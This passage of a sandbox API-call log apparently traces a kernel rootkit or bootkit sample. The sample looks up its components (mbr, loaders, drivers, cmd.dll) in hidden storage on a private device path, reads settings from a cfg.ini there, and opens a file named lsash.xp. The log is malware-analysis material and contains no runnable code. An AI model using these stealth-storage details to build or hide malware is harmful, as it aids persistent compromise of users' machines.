SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.825] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.825] IdePortDispatch () returned 0x103 [0119.825] KeWaitForMutexObject () returned 0x0 [0119.825] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.825] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.825] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.825] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.825] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.825] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.825] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.825] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.825] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.825] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.826] KeLeaveCriticalRegion () [0119.826] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.826] ReleaseMutex (hMutex=0x100) returned 1 [0119.826] Sleep (dwMilliseconds=0x2bf20) [0119.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aa01a90, dwHighDateTime=0x1d24fa4)) [0119.832] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.832] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.832] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.832] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.832] KeEnterCriticalRegion () [0119.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.833] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.833] IdePortDispatch () returned 0x103 [0119.833] KeWaitForMutexObject () returned 0x0 [0119.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.833] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.833] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.833] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.833] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.833] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc530 [0119.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.833] KeLeaveCriticalRegion () [0119.833] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.833] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.833] KeEnterCriticalRegion () [0119.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.833] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.833] KeLeaveCriticalRegion () [0119.833] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.833] KeEnterCriticalRegion () [0119.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.833] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.833] IdePortDispatch () returned 0x103 [0119.833] KeWaitForMutexObject () returned 0x0 [0119.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.834] KeLeaveCriticalRegion () [0119.834] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.834] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.834] KeEnterCriticalRegion () [0119.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ea000 [0119.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.834] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.834] IdePortDispatch () returned 0x103 [0119.834] KeWaitForMutexObject () returned 0x0 [0119.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.834] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.834] IdePortDispatch () returned 0x103 [0119.834] KeWaitForMutexObject () returned 0x0 [0119.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.834] KeLeaveCriticalRegion () [0119.834] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.835] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.835] KeEnterCriticalRegion () [0119.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.835] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.835] KeLeaveCriticalRegion () [0119.835] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.835] KeEnterCriticalRegion () [0119.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.835] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.835] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.835] KeLeaveCriticalRegion () [0119.835] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.835] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.835] KeEnterCriticalRegion () [0119.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.835] ExFreePoolWithTag (P=0xfffffa8003bcc530, Tag=0x0) [0119.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.835] KeLeaveCriticalRegion () [0119.835] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.835] ReleaseMutex (hMutex=0xf0) returned 1 [0119.835] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.835] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.835] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.835] KeEnterCriticalRegion () [0119.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.836] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.836] IdePortDispatch () returned 0x103 [0119.836] KeWaitForMutexObject () returned 0x0 [0119.836] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.836] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.836] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.836] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.836] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.836] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaeb0 [0119.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.836] KeLeaveCriticalRegion () [0119.836] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.836] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.836] KeEnterCriticalRegion () [0119.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.836] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.836] KeLeaveCriticalRegion () [0119.836] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.836] KeEnterCriticalRegion () [0119.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.836] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.836] IdePortDispatch () returned 0x103 [0119.836] KeWaitForMutexObject () returned 0x0 [0119.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.837] KeLeaveCriticalRegion () [0119.837] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.837] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.837] KeEnterCriticalRegion () [0119.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035eb000 [0119.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.837] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.837] IdePortDispatch () returned 0x103 [0119.837] KeWaitForMutexObject () returned 0x0 [0119.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.837] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.837] IdePortDispatch () returned 0x103 [0119.837] KeWaitForMutexObject () returned 0x0 [0119.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.837] KeLeaveCriticalRegion () [0119.837] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.838] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.838] KeEnterCriticalRegion () [0119.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.838] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.838] KeLeaveCriticalRegion () [0119.838] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.838] KeEnterCriticalRegion () [0119.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.838] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.838] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc6e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.838] KeLeaveCriticalRegion () [0119.838] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.838] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.838] KeEnterCriticalRegion () [0119.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.838] ExFreePoolWithTag (P=0xfffffa8003bcaeb0, Tag=0x0) [0119.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.838] KeLeaveCriticalRegion () [0119.838] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.838] ReleaseMutex (hMutex=0xf0) returned 1 [0119.838] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.838] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.838] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.839] KeEnterCriticalRegion () [0119.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.839] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.839] IdePortDispatch () returned 0x103 [0119.839] KeWaitForMutexObject () returned 0x0 [0119.839] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.839] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.839] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.839] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.839] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.839] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcce50 [0119.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.839] KeLeaveCriticalRegion () [0119.839] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.839] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.839] KeEnterCriticalRegion () [0119.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.839] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.839] KeLeaveCriticalRegion () [0119.839] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.839] KeEnterCriticalRegion () [0119.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.839] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.839] IdePortDispatch () returned 0x103 [0119.839] KeWaitForMutexObject () returned 0x0 [0119.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.840] KeLeaveCriticalRegion () [0119.840] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.840] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.840] KeEnterCriticalRegion () [0119.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.840] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ec000 [0119.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.840] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.840] IdePortDispatch () returned 0x103 [0119.840] KeWaitForMutexObject () returned 0x0 [0119.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.840] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.840] IdePortDispatch () returned 0x103 [0119.840] KeWaitForMutexObject () returned 0x0 [0119.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.841] KeLeaveCriticalRegion () [0119.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.841] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.841] KeEnterCriticalRegion () [0119.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.841] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.841] KeLeaveCriticalRegion () [0119.841] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.841] KeEnterCriticalRegion () [0119.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.841] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.841] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.841] KeLeaveCriticalRegion () [0119.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.841] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.841] KeEnterCriticalRegion () [0119.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.841] ExFreePoolWithTag (P=0xfffffa8003bcce50, Tag=0x0) [0119.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.841] KeLeaveCriticalRegion () [0119.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.841] ReleaseMutex (hMutex=0xf0) returned 1 [0119.841] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.842] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.842] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 